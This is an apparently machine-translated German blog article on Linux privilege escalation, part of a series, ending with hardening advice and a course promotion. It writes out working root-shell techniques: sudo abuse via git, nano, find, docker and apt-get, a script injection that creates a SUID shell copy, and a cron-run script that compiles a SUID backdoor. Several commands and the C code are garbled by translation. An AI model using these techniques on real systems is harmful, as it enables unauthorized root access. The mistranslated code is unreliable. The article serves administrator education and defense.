Kontoverwaltung unter Linux. Teil 3: Verschiedene Wege zur Erhöhung von Privilegien

In den beiden vorherigen Artikeln (Teil 1, Teil 2) haben wir verschiedene Aspekte der Verwaltung von Konten und der Konfiguration des Dateizugriffs behandelt. Beim Einrichten des Zugangs kann es jedoch immer passieren, dass Sie falsche Werte eingeben. Wenn der Administrator nicht genügend Rechte vergeben hat, wird ein solcher Fehler recht schnell gefunden, da sich derjenige, der nicht genügend Rechte hat, sehr schnell beim Administrator beschweren wird. Doch was tun, wenn sich die Rechte am Ende als übertrieben herausstellen? Viele können natürlich sagen, dass dies überhaupt kein Problem ist, sie sagen mehr, nicht weniger, aber tatsächlich ist dies eine falsche Logik. Wie wir im heutigen Artikel sehen werden, können sogar scheinbar harmlose Berechtigungen dazu führen, Root-Rechte auf dem System zu erlangen.

Gleichzeitig sollte daran erinnert werden, dass selbst ein erfahrener Administrator einen Fehler machen kann, indem er zusätzliche Rechte gewährt. Daher sollten Sie sich immer an das Prinzip der geringsten Privilegien erinnern. Weisen Sie Benutzern nur die Rechte zu, die sie wirklich benötigen, nicht mehr.

Ausgangsdaten

Bevor wir anfangen, Hacking-Methoden zu diskutieren, müssen wir uns darauf einigen, was wir am Anfang haben werden. Nehmen wir also an, Sie sind der Administrator von Linux-Servern, mit denen verschiedene Benutzer arbeiten: Programmierer, Ingenieure, Tester. Sie alle benötigen in der einen oder anderen Form Zugriff auf die Konsole auf verschiedenen Servern und bestimmte Rechte: Einige arbeiten mit Skripten und dem Crontab-Scheduler, andere mit Docker-Containern und wieder andere kompilieren und debuggen Code. Aber keiner dieser Benutzer hat Root-Rechte.

Das Konto eines dieser Benutzer kann von einem Angreifer kompromittiert werden. In diesem Fall besteht das ultimative Ziel der Kompromittierung darin, die Root-Rolle auf einem oder mehreren Servern zu übernehmen.

Eskalieren Sie es

Unser Programmierer-Benutzer arbeitet aktiv mit Repositories, indem er den Befehl git verwendet. Einmal benötigte ein Programmierer für eine dringende Aufgabe sudo-Rechte, um mit Dateien in Verzeichnissen mit Root-Rechten arbeiten zu können.

Aber wie so oft hat der Administrator nach Abschluss dieser dringenden Aufgabe die Datei /etc/sudoers nicht erneut bearbeitet, wodurch der Programmierer Git unter sudo ohne Passwort weiter ausführen konnte.

Als es den Angreifern gelang, sich Zugriff auf die Maschine des Programmierers zu verschaffen, konnten sie in den Linux-Server eindringen. Als der Hacker erfuhr, dass git unter sudo ausgeführt werden durfte, führte er die folgenden Befehle aus

sudo git help config

!/bin/sh

Und bekam Wurzel. Beim Ausführen von git können Sie als aktueller Benutzer auf die Befehlszeile zugreifen. Da der Befehl unter sudo ausgeführt wurde, entpuppte sich die resultierende Shell als root.

Der Benutzeringenieur schreibt ständig Skripte und bearbeitet Konfigurationen mit dem Nano-Editor. Um auf einige Systemverzeichnisse zuzugreifen, bat er um sudo, um mit nano zu arbeiten.

Die Datei, die der Ingenieur von einer sehr nicht vertrauenswürdigen Quelle heruntergeladen und auf seinem Computer ausgeführt hat, ermöglichte es dem Hacker, dort und dann auf den Server zuzugreifen.

Um zu eskalieren, führen Sie zuerst sudo nano aus, dann Strg + R und Strg + X, wir befinden uns auf der Befehlszeile und führen aus

zurücksetzen; sh 1>&0 2>&0

Wir bekommen auch die Root-Shell.

Der Tester verwendete häufig den Find-Befehl und war sehr verärgert, dass der Befehl beim Versuch, auf einige Verzeichnisse zuzugreifen, Permission Denied zurückgab. Also bekam er sudo auf find. Und der Hacker verschaffte sich Zugriff auf seine Maschine, indem er einfach eine speziell zusammengestellte Datei von der Maschine des Programmierers zum Tester schob. Um die Root-Shell zu erhalten, müssen Sie nur den Befehl mit der Taste ausführen, um die Shell zu starten.

sudo finden. -exec /bin/sh\; -Verlassen

In diesen einfachen, aber wichtigen Beispielen haben wir uns angesehen, Root-Rechte mit Standardbefehlen zu erhalten, die sudo-Rechte haben.

Wütende SUID

Erinnern Sie sich, was ein SUID-Bit ist. Dies ist ein spezielles Bit, das es dem Programm ermöglicht, als Eigentümer der Datei ausgeführt zu werden. Um es zu installieren, müssen Sie den Befehl als root ausführen

chmod u+s shell_file.

Aber zurück zu unseren Helden. Der Angreifer, der weiterhin das Netzwerk mit den Konten von drei Benutzern übernahm, fand auf einem der Server viele Verzeichnisse mit Schreibrechten. In einigen dieser Verzeichnisse befanden sich auch Skriptdateien, die den Protokollen nach recht häufig vom Administrator gestartet wurden. Er fügte einigen Skripten die folgenden Zeilen hinzu:

cp /bin/sh /bin/sys_sh

chmod u+s /bin/sys_sh

Die erste Zeile kopierte die zugelassene Shell /bin/sh in irgendeinen sys_sh, und die zweite wies das sys_sh-SUID-Bit zu. Als einige Zeit später eines der „gepatchten“ Skripte ausgeführt wurde, wurde die Datei /bin/sys_sh erstellt, die nach ihrer Ausführung die Root-Shell öffnete.

Auf einem anderen Server verwendete der Angreifer ein ähnliches Skript, jedoch mit einer PATH-Variablen, nur dass er jetzt Skripte mit demselben Namen auf verschiedene Verzeichnisse verteilte.

Ungeplanter Cron

Der Crontab-Scheduler ist ein praktisches Tool zum Planen von Aufgaben im Linux-Betriebssystem. Cron ist im Wesentlichen ein klassischer Unix-Daemon, der verwendet wird, um Jobs regelmäßig zu bestimmten Zeiten auszuführen. Gleichzeitig werden Aufgaben in speziellen Dateien in einem bestimmten Format gespeichert, die Möglichkeit, Aufgaben im Namen verschiedener Benutzer auszuführen, wird unterstützt.

Nachdem er sich unter einem Benutzerkonto auf einem der Server angemeldet hatte, führte der Angreifer den folgenden Befehl aus:

find / –type f -path /sys -prune -o -path /proc -prune -o -user root -perm -4000

Dieser Befehl sucht nach Dateien, bei denen das SUID-Bit 04000 gesetzt ist – (s-Bit) mit Dateieigentümerrechten ausführen. In den Protokollen wurde auch die Funktionsweise des Skripts backup.sh erwähnt, das ein SUID-Bit hatte und gleichzeitig von diesem Benutzer bearbeitet werden konnte.

Dann entschied sich unser Hacker, eine ausführbare Datei zu erhalten, nach deren Ausführung er Root-Rechte erhält. Dazu benötigt er folgenden C-Code:

#include

int Haupt()

{

setreuid(geteuid(),geteuid());

execve(“/bin/sh”,0,0);

}

Dieser Code ruft die effektive UID ab und öffnet dann die Befehlszeile mit dieser ID. Das Problem ist jedoch, dass unser Hacker diese ausführbare Datei als Root erstellen und ihr das SUID-Bit zuweisen muss. Das heißt, Sie müssen die folgenden Befehle ausführen:

gcc suid.c -o /bin/backdoor

chmod u+s /bin/backdoor

Aber wir erinnern uns an die Skriptdatei, die in crontab als root ausgeführt wird und an der jeder Benutzer Änderungen vornehmen kann. Der Angreifer fügt diesem Skript einfach ein paar Zeilen hinzu, die zunächst eine C-Quelldatei in einem temporären Verzeichnis erstellen, die dann kompiliert und mit dem SUID-Bit versehen wird.

#!/bin/bash

echo “” > /tmp/suid.c

echo “#include ” >> /tmp/suid.c

echo “int main()” >> /tmp/suid.c

echo “{” >> /tmp/suid.c

echo “setreuid(geteuid(),geteuid());” >> /tmp/suid.c

echo ‘execve(“/bin/sh”,0,0);’ >> /tmp/suid.c

echo “}” >> /tmp/suid.c

gcc /tmp/suid.c -o /bin/backdoor

chmod u+s /bin/backdoor

Um nun eine Root-Shell zu erhalten, führen Sie einfach die Datei /bin/backdoor.

Containerflucht

Auf einem der Server bat ein Programmierer um sudo, um Docker-Container auszuführen. Als der Angreifer auf diesen Server gelangte, lud er den Container mit Linux, von dem er das Root-Verzeichnis für das System auf der Hauptmaschine erhielt.

docker run -v /:/mnt –rm -it alpine chroot /mnt sh

…und Update nicht vergessen

Während der Einrichtung eines der Server wurden einem Techniker sudo-Rechte gewährt, um die Software zu aktualisieren. Dann wurde diesem Server der Zugriff auf das Internet verweigert, aber sie haben vergessen, die Rechte zu entziehen. Infolgedessen startete der Angreifer apt-get mit dem Pre-Invoke-Schlüssel, der Aktionen ausführt, bevor das Update mit dem Download beginnt, und sich nicht wirklich um den fehlenden Internetzugang kümmert.

Die Root-Shell wurde mit dem folgenden Befehl erhalten:

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Fazit

Wir haben eine ganze Reihe typischer Fehler beim Einrichten von Zugriffsrechten unter Linux betrachtet. Was könnte empfohlen werden, um die Risiken der Privilegieneskalation zu minimieren. Gegebenenfalls können Sie die Ausführung von Befehlen einschränken, um nur die Ausführung ohne Argumente zuzulassen. Dazu müssen Sie in /etc/sudoers nach dem Befehl leere Anführungszeichen angeben. Hier ist ein Beispiel für ls.

user1 ALL=(root) /usr/bin/ls „“

Eine naheliegende Lösung besteht auch darin, alle Benutzer zu überprüfen, die sudo haben, und herauszufinden, ob sie wirklich Administratorrechte benötigen, um diese Befehle auszuführen.

Um eine vollständige Liste von Befehlen zu erhalten, deren Argumente es Ihnen ermöglichen, eine Shell zu öffnen, ist es absolut nicht notwendig, stundenlang zu schwatzen. Sie können diese Befehle anhand von Bedienungsbeispielen auf der Website erlernen

Um SUID zu bekämpfen, verwenden Sie den folgenden Befehl:

sudo find / –type f -path /sys -prune -o -path /proc -prune -o -user root -perm -4000

Als Ergebnis seiner Ausführung erhalten Sie eine Liste aller Dateien, die das SUID-Bit haben. Es wird einige davon geben, und die meisten davon werden Systemdateien sein, aber diejenigen, die in Benutzerverzeichnissen landen, müssen genauer betrachtet werden.

Es ist auch notwendig, die Zugriffsrechte auf verschiedene Skripte zu prüfen, insbesondere diejenigen, die von crontab als root ausgeführt werden. Benutzer sollten nicht in der Lage sein, Änderungen an solchen Dateien vorzunehmen.

Bei Containern ist die Situation etwas komplizierter. Wenn der Benutzer einen beliebigen Container laden kann, kann er root erfassen. Daher müssen Sie entweder das Herunterladen von Containern aus beliebigen Quellen verhindern und nur Ihr eigenes Repository mit vertrauenswürdigen Containern zulassen. Oder geben Sie dem Techniker einen separaten Server in einem Segment, das vom Rest des Netzwerks isoliert ist, wo er ohnehin root ist und mit beliebigen Containern arbeiten kann.

Im Allgemeinen können Sie zusätzlich zu den im Betriebssystem selbst verfügbaren Schutzmechanismen auch auf Overlay-Tools zurückgreifen, wie z
Tätigkeiten und Schutzausrüstung.

Statt eines Fazits möchte ich Sie zu kostenlosen Linux-Demos von OTUS einladen. Über die folgenden Links können Sie sich für die Kurse anmelden:

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *